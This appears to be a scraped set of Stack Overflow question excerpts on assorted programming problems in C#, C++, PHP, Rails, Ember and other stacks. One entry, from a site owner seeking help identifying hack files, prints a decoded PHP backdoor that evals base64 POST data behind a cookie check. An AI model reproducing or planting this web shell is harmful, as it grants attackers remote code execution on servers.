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• how to upgrade compact framework applications?

  - by Derick Bailey

  i'm looking for a way to manage application upgrades for my compact framework app. let's say i have v1 of the app installed on my device, and v1.1 has been released. I want the app to make a call to my server to see if there is a new version. since a new version is found, i want to send down the new version of the app to the device and have it installed, replacing the old version. my first thought was just to have the app download the .cab file and kick off the cab file just before exiting the app. this would mostly get the job done but it would prompt the user to pick the installation location if they have a storage card or other partitions on their device. i would like to prevent any user input and just have the new version of the app installed, replacing the old app. i'm certain that there are others doing this already and i don't want to reinvent the wheel, here. what application management tools and systems exist for this type of process? how can I facilitate this type of process?

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• Observer Design Pattern - multiple event types

  - by David

  I'm currently implementing the Observer design pattern and using it to handle adding items to the session, create error logs and write messages out to the user giving feedback on their actions (e.g. You've just logged out!). I began with a single method on the subject called addEvent() but as I added more Observers I found that the parameters required to detail all the information I needed for each listener began to grow. I now have 3 methods called addMessage(), addStorage() and addLog(). These add data into an events array that has a key related to the event type (e.g. log, message, storage) but I'm starting to feel that now the subject needs to know too much about the listeners that are attached. My alternative thought is to go back to addEvent() and pass an event type (e.g. USER_LOGOUT) along with the data associated and each Observer maintains it's own list of event handles it is looking for (possibly in a switch statement), but this feels cumbersome. Also, I'd need to check that sufficient data had also been passed along with the event type. What is the correct way of doing this? Please let me know if I can explain any parts of this further. I hope you can help and see the problem I'm battling with.

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• SQLite Databases and Grid Hosting

  - by jocull

  I'm considering moving my site from a GoDaddy shared hosting account to a Media Temple grid hosting account in anticipation of traffic. However, I first have some concerns with the grid hosting setup. My site stores a large personal set of data on a per-user basis (possibly 3-4MB per user). At this rate I was worried about blowing over a 1GB MySQL limit in no time. To deal with this I created distributed SQLite databases per user to store large data objects. It's worked wonderfully so far. SQLite is super fast and simple. I know that reading from and writing to files is different in a Grid Hosting environment. I need to know if this setup is going to cause serious problems. These databases are not (and will not be) highly trafficked. They are personal to the user and will only be touched maybe two locations at the same time (one updating the data hourly at the most, and one or more reading on demand). I'd like to keep this setup as getting additional space (beyond 4GB) on a MySQL database seems to be a real trouble point. Will Grid Hosting cause me serious problems? Thanks.

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• How to handle not-enough-isolatedstorage issue deep in data loader?

  - by Edward Tanguay

  I have a silverlight application which loads data from many external data sources into IsolatedStorage, and while loading any of these sources if it does not have enough IsolatedStorage, it ends up in a catch statement. At that point in that catch statement I would like to ask the user to click a button to approve silverlight to increase the IsolatedStorage capacity. The problem is, although I have a "SwitchPage()" method with which I display a page, if I access it at this point it is too deep in the loading process and the application always goes into an endless loop, hangs and crashes. I need a way to branch out of the application completely somehow to an independent UserControl which has a button and code behind which does the increase logic. What is a solution for an application to be able to branch out of a loading process catch statement like this, display a user control which has a button to ask the user to increase the IsolatedStorage? public static void SaveBitmapImageToIsolatedStorageFile(OpenReadCompletedEventArgs e, string fileName) { try { using (IsolatedStorageFile isf = IsolatedStorageFile.GetUserStoreForApplication()) { using (IsolatedStorageFileStream isfs = new IsolatedStorageFileStream(fileName, FileMode.Create, isf)) { Int64 imgLen = (Int64)e.Result.Length; byte[] b = new byte[imgLen]; e.Result.Read(b, 0, b.Length); isfs.Write(b, 0, b.Length); isfs.Flush(); isfs.Close(); isf.Dispose(); } } } catch (IsolatedStorageException) { //handle: present user with button to increase isolated storage } catch (TargetInvocationException) { //handle: not saved } }

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• How do you deal with naming conventions for rails partials?

  - by DJTripleThreat

  For example, I might have an partial something like: <div> <%= f.label :some_field %><br/> <%= f.text_field :some_field %> </div> which works for edit AND new actions. I also will have one like: <div> <%=h some_field %> </div> for the show action. So you would think that all your partials go under one directory like shared or something. The problem that I see with this is that both of these would cause a conflict since they are essentially the same partial but for different actions so what I do is: <!-- for edit and new actions --> <%= render "shared_edit/some_partial" ... %> <!-- for show action --> <%= render "shared_show/some_partial" ... %> How do you handle this? Is a good idea or even possible to maybe combine all of these actions into one partial and render different parts by determining what the current action is?

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• MVC View Model Intellesense / Compile error

  - by Marty Trenouth

  I have one Library with my ORM and am working with a MVC Application. I have a problem where the pages won't compile because the Views can't see the Model's properties (which are inherited from lower level base classes). They system throws a compile error saying that 'object' does not contain a definition for 'ID' and no extension method 'ID' accepting a first argument of type 'object' could be found (are you missing a using directive or an assembly reference?) implying that the View is not seeing the model. In the Controller I have full access to the Model and have check the Inherits from portion of the view to validate the correct type is being passed. Controller: return View(new TeraViral_Blog()); View: <%@ Page Title="" Language="C#" MasterPageFile="~/Views/Shared/Site.Master" Inherits="System.Web.Mvc.ViewPage<com.models.TeraViral_Blog>" %> <asp:Content ID="Content1" ContentPlaceHolderID="TitleContent" runat="server"> Index2 </asp:Content> <asp:Content ID="Content2" ContentPlaceHolderID="MainContent" runat="server"> <h2>Index2</h2> <fieldset> <legend>Fields</legend> <p> ID: <%= Html.Encode(Model.ID) %> </p> </fieldset> </asp:Content>

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• i have problem with sharing a folder through programming using c#?

  - by moon

  here is my code it shares the folder but that does not work correctly when i want to access it , it shows access denied help required, private static void ShareFolder(string FolderPath, string ShareName, string Description) { try { // Create a ManagementClass object ManagementClass managementClass = new ManagementClass("Win32_Share"); // Create ManagementBaseObjects for in and out parameters ManagementBaseObject inParams = managementClass.GetMethodParameters("Create"); ManagementBaseObject outParams; // Set the input parameters inParams["Description"] = Description; inParams["Name"] = ShareName; inParams["Path"] = FolderPath; inParams["Type"] = 0x0; // Disk Drive //Another Type: //DISK_DRIVE = 0x0; //PRINT_QUEUE = 0x1; //DEVICE = 0x2; //IPC = 0x3; //DISK_DRIVE_ADMIN = 0x80000000; //PRINT_QUEUE_ADMIN = 0x80000001; //DEVICE_ADMIN = 0x80000002; //IPC_ADMIN = 0x8000003; //inParams["MaximumAllowed"] = int maxConnectionsNum; // Invoke the method on the ManagementClass object outParams = managementClass.InvokeMethod("Create", inParams, null); // Check to see if the method invocation was successful if ((uint)(outParams.Properties["ReturnValue"].Value) != 0) { throw new Exception("Unable to share directory. Because Directory is already shared or directory not exist"); }//end if }//end try catch (Exception ex) { MessageBox.Show(ex.Message, "error!"); }//end catch }//End Method

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• How do you pass a generic delegate argument to a method in .NET 2.0 - UPDATED

  - by Seth Spearman

  Hello, I have a class with a delegate declaration as follows... Public Class MyClass Public Delegate Function Getter(Of TResult)() As TResult ''#the following code works. Public Shared Sub MyMethod(ByVal g As Getter(Of Boolean)) ''#do stuff End Sub End Class However, I do not want to explicitly type the Getter delegate in the Method call. Why can I not declare the parameter as follows... ... (ByVal g As Getter(Of TResult)) Is there a way to do it? My end goal was to be able to set a delegate for property setters and getters in the called class. But my reading indicates you can't do that. So I put setter and getter methods in that class and then I want the calling class to set the delegate argument and then invoke. Is there a best practice for doing this. I realize in the above example that I can set set the delegate variable from the calling class...but I am trying to create a singleton with tight encapsulation. For the record, I can't use any of the new delegate types declared in .net35. Answers in C# are welcome. Any thoughts? Seth

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• Ember Data Sycn - LocalStorage+REST+RealTime+Online/Offline

  - by Miguel Madero

  We have a combination of requirements in terms o data access. Pre-load some reference data. We need reference data to survive browser restarts instead of just living in memory to avoid loading it all the time. I'm currently using the LocalStorageAdapter for that. Once we have it, we would like to sync changes (polling or using Socket.IO in the background and updating the LocalStorage could do the trick) There're other models that are more transactional, where we would need to directly go to the Server and get/save them. It would be nice to use something like the RESTAdapter for that. Lastly, there're some operations that should work off-line and changes should be synced later. To make it more concrete: * We pre-load vendor and "favorite products" into Local Storage. We work offline with those. * We need to sync server changes to vendor and product information. * If they search the full catalog, that requires them to be online. * When offline, we need to allow users to add something to their cart or even submit and order. We would like to queue this action and submit it when they have an Internet Connection. So a few questions are derived from this: * Is there a way to user RESTAdapter in combination with LocalStorage? * Is there some Socket.IO support? (Happy to do this part manually) * Is there Queueing support? Ideally at the Ember-Data level. I know we will have to do a lot of this manually and pull together the different lego pieces, but I wanted to ask for some perspective from experience Ember devs.

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• C++ Switch won't compile with externally defined variable used as case

  - by C Nielsen

  I'm writing C++ using the MinGW GNU compiler and the problem occurs when I try to use an externally defined integer variable as a case in a switch statement. I get the following compiler error: "case label does not reduce to an integer constant". Because I've defined the integer variable as extern I believe that it should compile, does anyone know what the problem may be? Below is an example: test.cpp #include <iostream> #include "x_def.h" int main() { std::cout << "Main Entered" << std::endl; switch(0) { case test_int: std::cout << "Case X" << std::endl; break; default: std::cout << "Case Default" << std::endl; break; } return 0; } x_def.h extern const int test_int; x_def.cpp const int test_int = 0; This code will compile correctly on Visual C++ 2008. Furthermore a Montanan friend of mine checked the ISO C++ standard and it appears that any const-integer expression should work. Is this possibly a compiler bug or have I missed something obvious? Here's my compiler version information: Reading specs from C:/MinGW/bin/../lib/gcc/mingw32/3.4.5/specs Configured with: ../gcc-3.4.5-20060117-3/configure --with-gcc --with-gnu-ld --with-gnu-as --host=mingw32 --target=mingw32 --prefix=/mingw --enable-threads --disable-nls --enable-languages=c,c++,f77,ada,objc,java --disable-win32-registry --disable-shared --enable-sjlj-exceptions --enable-libgcj --disable-java-awt --without-x --enable-java-gc=boehm --disable-libgcj-debug --enable-interpreter --enable-hash-synchronization --enable-libstdcxx-debug Thread model: win32 gcc version 3.4.5 (mingw-vista special r3)

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• Grails g:paginate tag and custom URL

  - by aboxy

  Hello, I am trying to use g:paginate in a shared template where depending on the controller, url changes e.g. For my homepage url should be : mydomain[DOT]com/news/recent/(1..n) For search Page: www[DOT]mydomain[DOT]com/search/query/"ipad apps"/filter/this month and my g:paginate looks like this: g:paginate controller=${customeController} action=${customAction} total:${total} For the first case, I was able to provide controller as 'news' and action as 'recent' and mapped url /news/recent/$offset to my controller. But for the search page, I am not able to achieve what I want to do. I have a URL mapping defined as /search/$filter**(controller:"search",action:"fetch") $filter can be /query/"ipad apps"/filter/thismonth/filter/something/filter/somethingelse. I want to be able to show the url as above rather than ?query="ipad apps"&filter=thismonth&filter=something&filter=somethingelse. I believe I can pass all the parameters in params attribute of g:paginate but that will not give me pretty URL. What would be the best way to achieve this? Please feel free to ask questions If i missed anything.Thanks in advance.

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• Castle, sharing a transient component between a decorator and a decorated component

  - by Marius

  Consider the following example: public interface ITask { void Execute(); } public class LoggingTaskRunner : ITask { private readonly ITask _taskToDecorate; private readonly MessageBuffer _messageBuffer; public LoggingTaskRunner(ITask taskToDecorate, MessageBuffer messageBuffer) { _taskToDecorate = taskToDecorate; _messageBuffer = messageBuffer; } public void Execute() { _taskToDecorate.Execute(); Log(_messageBuffer); } private void Log(MessageBuffer messageBuffer) {} } public class TaskRunner : ITask { public TaskRunner(MessageBuffer messageBuffer) { } public void Execute() { } } public class MessageBuffer { } public class Configuration { public void Configure() { IWindsorContainer container = null; container.Register( Component.For<MessageBuffer>() .LifeStyle.Transient); container.Register( Component.For<ITask>() .ImplementedBy<LoggingTaskRunner>() .ServiceOverrides(ServiceOverride.ForKey("taskToDecorate").Eq("task.to.decorate"))); container.Register( Component.For<ITask>() .ImplementedBy<TaskRunner>() .Named("task.to.decorate")); } } How can I make Windsor instantiate the "shared" transient component so that both "Decorator" and "Decorated" gets the same instance? Edit: since the design is being critiqued I am posting something closer to what is being done in the app. Maybe someone can suggest a better solution (if sharing the transient resource between a logger and the true task is considered a bad design)

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• PHP hack files found - help decoding and identifying

  - by akc

  I found a handful of hack files on our web server. I managed to de-obfuscate them a bit -- they all seem to have a part that decodes into a chunk that looks like: if (!empty($_COOKIE['v']) and $_COOKIE['v']=='d'){if (!empty($_POST['c'])) {echo '<textarea rows=28 cols=80>'; $d=base64_decode(str_replace(' ','+',$_POST['c']));if($d) @eval($d); echo '</textarea>';}echo '<form action="" method=post><textarea cols=80 rows=28 name=c></textarea><br><input type=submit></form>';exit;} But this chunk (decoded above) is usually embedded into a larger code snippet. I've shared the code of one of the files in its entirety here: http://pastie.org/3753704 I can sort of see where this code is going, but definitely not an expert at PHP and could use some help figuring out more specifically what it's doing or enabling. Also, if anyone happens to be familiar with this hack, any information on how it works, and where the backdoor and other components of the hack may be hidden would be super helpful and greatly appreciated. I tried to Google parts of the code, to see if others have reported it, but only came up with this link: http://www.daniweb.com/web-development/php/threads/365059/hacked-joomla Thanks!

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• How to access webbrowser object on this code? C++

  - by extintor

  I found this example http://www.mvps.org/user32/webhost.cab that host an Internet Explorer WebBrowser object, and it uses this code to access the object void webhostwnd::CreateEmbeddedWebControl(void) { OleCreate(CLSID_WebBrowser,IID_IOleObject,OLERENDER_DRAW,0,&site,&storage,(void**)&mpWebObject); mpWebObject->SetHostNames(L"Web Host",L"Web View"); // I have no idea why this is necessary. remark it out and everything works perfectly. OleSetContainedObject(mpWebObject,TRUE); RECT rect; GetClientRect(hwnd,&rect); mpWebObject->DoVerb(OLEIVERB_SHOW,NULL,&site,-1,hwnd,&rect); IWebBrowser2* iBrowser; mpWebObject->QueryInterface(IID_IWebBrowser2,(void**)&iBrowser); VARIANT vURL; vURL.vt = VT_BSTR; vURL.bstrVal = SysAllocString(L"http://google.com"); VARIANT ve1, ve2, ve3, ve4; ve1.vt = VT_EMPTY; ve2.vt = VT_EMPTY; ve3.vt = VT_EMPTY; ve4.vt = VT_EMPTY; iBrowser->put_Left(0); iBrowser->put_Top(0); iBrowser->put_Width(rect.right); iBrowser->put_Height(rect.bottom); iBrowser->Navigate2(&vURL, &ve1, &ve2, &ve3, &ve4); VariantClear(&vURL); iBrowser->Release(); } I don't have much experience with cpp, I want to know how to access that same ie object (to use Navigate2 for example) from a button or something like that. How could I achieve this?

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• Is DB logging more secure than file logging for my PHP web app?

  - by iama

  I would like to log errors/informational and warning messages from within my web application to a log. I was initially thinking of logging all of these onto a text file. However, my PHP web app will need write access to the log files and the folder housing this log file may also need write access if log file rotation is desired which my web app currently does not have. The alternative is for me to log the messages to the MySQL database since my web app is already using the MySQL database for all its data storage needs. However, this got me thinking that going with the MySQL option is much better than the file option since I already have a configuration file with the database access information protected using file system permissions. If I now go with the log file option I need to tinker the file and folder access permissions and this will only make my application less secure and defeats the whole purpose of logging. Is this correct? I am using XAMPP for development and am a newbie to LAMP. Please let me know your recommendations for logging. Thanks.

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• Twitter API Rate Limit - Overcoming on an unauthenticated JSON Get with Objective C?

  - by Cian

  I see the rate limit is 150/hr per IP. This'd be fine, but my application is on a mobile phone network (with shared IP addresses). I'd like to query twitter trends, e.g. GET /trends/1/json. This doesn't require authorization, however what if the user first authorized with my application using OAuth, then hit the JSON API? The request is built as follows: - (void) queryTrends:(NSString *) WOEID { NSString *urlString = [NSString stringWithFormat:@"http://api.twitter.com/1/trends/%@.json", WOEID]; NSURL *url = [NSURL URLWithString:urlString]; NSURLRequest *theRequest=[NSURLRequest requestWithURL:url cachePolicy:NSURLRequestUseProtocolCachePolicy timeoutInterval:10.0]; NSURLConnection *theConnection=[[NSURLConnection alloc] initWithRequest:theRequest delegate:self startImmediately:YES]; if (theConnection) { // Create the NSMutableData to hold the received data. theData = [[NSMutableData data] retain]; } else { NSLog(@"Connection failed in Query Trends"); } //NSData *data = [NSData dataWithContentsOfURL:[NSURL URLWithString:urlString]]; } I have no idea how I'd build this request as an authenticated one however, and haven't seen any examples to this effect online. I've read through the twitter OAuth documentation, but I'm still puzzled as to how it should work. I've experimented with OAuth using Ben Gottlieb's prebuild library, and calling this in my first viewDidLoad: OAuthViewController *oAuthVC = [[OAuthViewController alloc] initWithNibName:@"OAuthTwitterDemoViewController" bundle:[NSBundle mainBundle]]; // [self setViewController:aViewController]; [[self navigationController] pushViewController:oAuthVC animated:YES]; This should store all the keys required in the app's preferences, I just need to know how to build the GET request after authorizing! Maybe this just isn't possible? Maybe I'll have to proxy the requests through a server side application? Any insight would be appreciated!

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• Install h5py in Mac OS X 10.6.3

  - by zyq524

  I'm trying to install h5py in Mac OS X 10.6.3. First I installed HDF5 1.8, which used the following commands: ./configure \ --prefix=/Library/Frameworks/Python.framework/Versions/Current \ --enable-shared \ --enable-production \ --enable-threadsafe \ CPPFLAGS=-I/Library/Frameworks/Python.framework/Versions/Current/include \ LDFLAGS=-L/Library/Frameworks/Python.framework/Versions/Current/lib make make check sudo make install Then install h5py: /Library/Frameworks/Python.framework/Versions/Current/bin/python \ setup.py \ build \ --api=18 \ --hdf5=/Library/Frameworks/Python.framework/Versions/Current Then I got the errors: Configure: Autodetecting HDF5 settings... Custom HDF5 dir: /Library/Frameworks/Python.framework/Versions/Current Custom API level: (1, 8) ld: warning: in detect/vers.o, file was built for unsupported file format which is not the architecture being linked (i386) ld: warning: in /Library/Frameworks/Python.framework/Versions/Current/lib/libhdf5.dylib, file was built for unsupported file format which is not the architecture being linked (i386) Undefined symbols: "_main", referenced from: start in crt1.10.5.o ld: symbol(s) not found collect2: ld returned 1 exit status Failed to compile HDF5 test program. Please check to make sure: * You have a C compiler installed * A development version of Python is installed (including header files) * A development version of HDF5 is installed (including header files) * If HDF5 is not in a default location, supply the argument --hdf5=<path> error: command 'cc' failed with exit status 1 I just updated my Xcode, I don't know whether this is because my gcc's default setting. If so, how can I get rid of this error? Thanks.

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• [F#] Parallelize code in nested loops

  - by Juliet

  You always hear that functional code is inherently easier to parallelize than non-functional code, so I decided to write a function which does the following: Given a input of strings, total up the number of unique characters for each string. So, given the input [ "aaaaa"; "bbb"; "ccccccc"; "abbbc" ], our method will returns a: 6; b: 6; c: 8. Here's what I've written: (* seq<#seq<char>> -> Map<char,int> *) let wordFrequency input = input |> Seq.fold (fun acc text -> (* This inner loop can be processed on its own thread *) text |> Seq.choose (fun char -> if Char.IsLetter char then Some(char) else None) |> Seq.fold (fun (acc : Map<_,_>) item -> match acc.TryFind(item) with | Some(count) -> acc.Add(item, count + 1) | None -> acc.Add(item, 1)) acc ) Map.empty This code is ideally parallelizable, because each string in input can be processed on its own thread. Its not as straightforward as it looks since the innerloop adds items to a Map shared between all of the inputs. I'd like the inner loop factored out into its own thread, and I don't want to use any mutable state. How would I re-write this function using an Async workflow?

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• dynamic lib can't find static lib

  - by renyufei

  env: gcc version 4.4.1 (Ubuntu 4.4.1-4ubuntu9) app: Bin(main) calls dynamic lib(testb.so), and testb.so contains a static lib(libtesta.a). file list: main.c test.h a.c b.c then compile as: gcc -o testa.o -c a.c ar -r libtesta.a testa.o gcc -shared -fPIC -o testb.so b.c gcc -o main main.c -L. -ltesta -ldl then compile success, but runs an error: ./main: symbol lookup error: ./testb.so: undefined symbol: print code as follows: test.h #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <dlfcn.h> int printa(const char *msg); int printb(const char *msg); a.c #include "test.h" int printa(const char *msg) { printf("\tin printa\n"); printf("\t%s\n", msg); } b.c #include "test.h" int printb(const char *msg) { printf("in printb\n"); printa("called by printb\n"); printf("%s\n", msg); } main.c #include "test.h" int main(int argc, char **argv) { void *handle; int (*dfn)(const char *); printf("before dlopen\n"); handle = dlopen("./testb.so", RTLD_LOCAL | RTLD_LAZY); printf("after dlopen\n"); if (handle == NULL) { printf("dlopen fail: [%d][%s][%s]\n", \ errno, strerror(errno), dlerror()); exit(EXIT_FAILURE); } printf("before dlsym\n"); dfn = dlsym(handle, "printb"); printf("after dlsym\n"); if (dfn == NULL) { printf("dlsym fail: [%d][%s][%s]\n", \ errno, strerror(errno), dlerror()); exit(EXIT_FAILURE); } printf("before dfn\n"); dfn("printb func\n"); printf("after dfn\n"); exit(EXIT_SUCCESS); }

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• Alternative or succesor to GDBM

  - by Anon Guy

  We a have a GDBM key-value database as the backend to a load-balanced web-facing application that is in implemented in C++. The data served by the application has grown very large, so our admins have moved the GDBM files from "local" storage (on the webservers, or very close by) to a large, shared, remote, NFS-mounted filesystem. This has affected performance. Our performance tests (in a test environment) show page load times jumping from hundreds of milliseconds (for local disk) to several seconds (over NFS, local network), and sometimes getting as high as 30 seconds. I believe a large part of the problem is that the application makes lots of random reads from the GDBM files, and that these are slow over NFS, and this will be even worse in production (where the front-end and back-end have even more network hardware between them) and as our database gets even bigger. While this is not a critical application, I would like to improve performance, and have some resources available, including the application developer time and Unix admins. My main constraint is time only have the resources for a few weeks. As I see it, my options are: Improve NFS performance by tuning parameters. My instinct is we wont get much out of this, but I have been wrong before, and I don't really know very much about NFS tuning. Move to a different key-value database, such as memcachedb or Tokyo Cabinet. Replace NFS with some other protocol (iSCSI has been mentioned, but i am not familiar with it). How should I approach this problem?

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• Avoiding a fork()/SIGCHLD race condition

  - by larry

  Please consider the following fork()/SIGCHLD pseudo-code. // main program excerpt for (;;) { if ( is_time_to_make_babies ) { pid = fork(); if (pid == -1) { /* fail */ } else if (pid == 0) { /* child stuff */ print "child started" exit } else { /* parent stuff */ print "parent forked new child ", pid children.add(pid); } } } // SIGCHLD handler sigchld_handler(signo) { while ( (pid = wait(status, WNOHANG)) > 0 ) { print "parent caught SIGCHLD from ", pid children.remove(pid); } } In the above example there's a race-condition. It's possible for "/* child stuff */" to finish before "/* parent stuff */" starts which can result in a child's pid being added to the list of children after it's exited, and never being removed. When the time comes for the app to close down, the parent will wait endlessly for the already-finished child to finish. One solution I can think of to counter this is to have two lists: started_children and finished_children. I'd add to started_children in the same place I'm adding to children now. But in the signal handler, instead of removing from children I'd add to finished_children. When the app closes down, the parent can simply wait until the difference between started_children and finished_children is zero. Another possible solution I can think of is using shared-memory, e.g. share the parent's list of children and let the children .add and .remove themselves? But I don't know too much about this. EDIT: Another possible solution, which was the first thing that came to mind, is to simply add a sleep(1) at the start of /* child stuff */ but that smells funny to me, which is why I left it out. I'm also not even sure it's a 100% fix. So, how would you correct this race-condition? And if there's a well-established recommended pattern for this, please let me know! Thanks.

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• How do I programatically verify, create, and update SQL table structure?

  - by JYelton

  Scenario: I have an application (C#) that expects a SQL database and login, which are set by a user. Once connected, it checks for the existence of several table and creates them if not found. I'd like to expand on this by having the program be capable of adding columns to those tables if I release a new version of the program which relies upon the new columns. Question: What is the best way to programatically check the structure of an existing SQL table and create or update it to match an expected structure? I am planning to iterate through the list of required columns and alter the existing table whenever it does not contain the new column. I can't help but wonder if there's an approach that is different or better. Criteria: Here are some of my expectations and self-imposed rules: Newer versions of the program might no longer use certain columns, but they would be retained for data logging purposes. In other words, no columns will be removed. Existing data in the table must be preserved, so the table cannot simply be dropped and recreated. In all cases, newly added columns would allow null data, so the population of old records is taken care of by having default null values. Example: Here is a sample table (because visual examples help!): id sensor_name sensor_status x1 x2 x3 x4 1 na019 OK 0.01 0.21 1.41 1.22 Then, in a new version, I may want to add the column x5. The "x-columns" are all data-storage columns that accept null.

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• Boost binding a function taking a reference

  - by Jamie Cook

  Hi all, I am having problems compiling the following snippet int temp; vector<int> origins; vector<string> originTokens = OTUtils::tokenize(buffer, ","); // buffer is a char[] array // original loop BOOST_FOREACH(string s, originTokens) { from_string(temp, s); origins.push_back(temp); } // I'd like to use this to replace the above loop std::transform(originTokens.begin(), originTokens.end(), origins.begin(), boost::bind<int>(&FromString<int>, boost::ref(temp), _1)); where the function in question is // the third parameter should be one of std::hex, std::dec or std::oct template <class T> bool FromString(T& t, const std::string& s, std::ios_base& (*f)(std::ios_base&) = std::dec) { std::istringstream iss(s); return !(iss >> f >> t).fail(); } the error I get is 1>Compiling with Intel(R) C++ 11.0.074 [IA-32]... (Intel C++ Environment) 1>C:\projects\svn\bdk\Source\deps\boost_1_42_0\boost/bind/bind.hpp(303): internal error: assertion failed: copy_default_arg_expr: rout NULL, no error (shared/edgcpfe/il.c, line 13919) 1> 1> return unwrapper<F>::unwrap(f, 0)(a[base_type::a1_], a[base_type::a2_]); 1> ^ 1> 1>icl: error #10298: problem during post processing of parallel object compilation Google is being unusually unhelpful so I hope that some one here can provide some insights.

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• Another developer revoked and re-created my client's iOS Distribution Certificate - does this mean I can never update my client's existing app?

  - by Schnapple

  Here is the story so far: A client hired us to do an iPhone app for them. This client had never done an iPhone app before and as part of the arrangement we handled all aspects for them, including app store submission, and we handle some level of future development (new features, bug/security fixes, etc.) We created a Distribution certificate and key pair on the client's behalf We developed the app, published it to the App Store without incident Some time later the client hired a second developer to do a different app for them This second developer, it appears, has revoked the existing Distribution certificate and created a new one with a new key pair on their system This second developer shared the new Distribution certificate and key pair with us for future reference. Due to user error, this new certificate and key pair has now been imported onto the Macintosh where the original certificate and key pair for the original app we developed were created and the originals were not backed up. So we have App #1 on the App Store with Distribution certificate/key pair #1 App #2 either on the App Store or soon to be using Distribution certificate/key pair #2 Distribution certificate/key pair #1 appears to be lost now So my question is: if we ever need to update App #1, will we be able to, using Distribution certificate/key pair #2? Or will we have to upload it as a new app?

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• scanf segfaults and various other anomalies inside while loop

  - by Shadow

  while(1){ //Command prompt char *command; printf("%s>",current_working_directory); scanf("%s",command);<--seg faults after input has been received. printf("\ncommand:%s\n",command); } I am getting a few different errors and they don't really seem reproducible(except for the segfault at this point .<). This code worked fine about 10 minutes ago, then it infinite looped the printf command and now it seg faults on the line mentioned above. The only thing I changed was scanf("%s",command); to what it currently is. If I change the command variable to be an array it works, obviously this is because the storage is set aside for it. 1) I got prosecuted about telling someone that they needed to malloc a pointer* (But that usually seems to solve the problem such as making it an array) 2) the command I am entering is "magic" 5 characters so there shouldn't be any crazy stack overflow. 3) I am running on mac OSX 10.6 with newest version of xCode(non-OS4) and standard gcc 4) this is how I compile the program: gcc --std=c99 -W sfs.c Just trying to figure out what is going on. Being this is for a school project I am never going to have to see again, I will just code some noob work around that would make my boss cry :) But for afterwards I would love to figure out why this is happening and not just make some fix for it, and if there is some fix for it why that fix works.

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